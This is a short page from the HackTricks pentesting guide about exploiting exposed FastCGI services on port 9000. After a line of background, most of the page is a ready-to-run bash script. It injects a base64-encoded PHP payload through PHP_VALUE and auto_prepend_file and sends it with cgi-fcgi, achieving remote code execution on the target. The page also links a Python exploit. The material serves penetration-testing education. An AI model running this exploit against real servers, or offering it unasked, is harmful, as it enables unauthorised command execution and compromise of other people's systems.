hacktricks/pentesting/9000-pentesting-fastcgi.md

# 9000 - Pentesting FastCGI

## Basic Information

If you want to **learn what is FastCGI** check the following page:

{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %}
[disable\_functions-bypass-php-fpm-fastcgi.md](pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md)
{% endcontent-ref %}

By default **FastCGI** run in **port** **9000** and isn't recognized by nmap. **Usually** FastCGI only listen in **localhost**.

## RCE

It's quiet easy to make FastCGI execute arbitrary code:

```bash
#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path

HOST=$1
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
    OUTPUT=$(mktemp)
    env -i \
      PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
      SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
      cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

    cat $OUTPUT
done
```

or you can also use the following python script: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)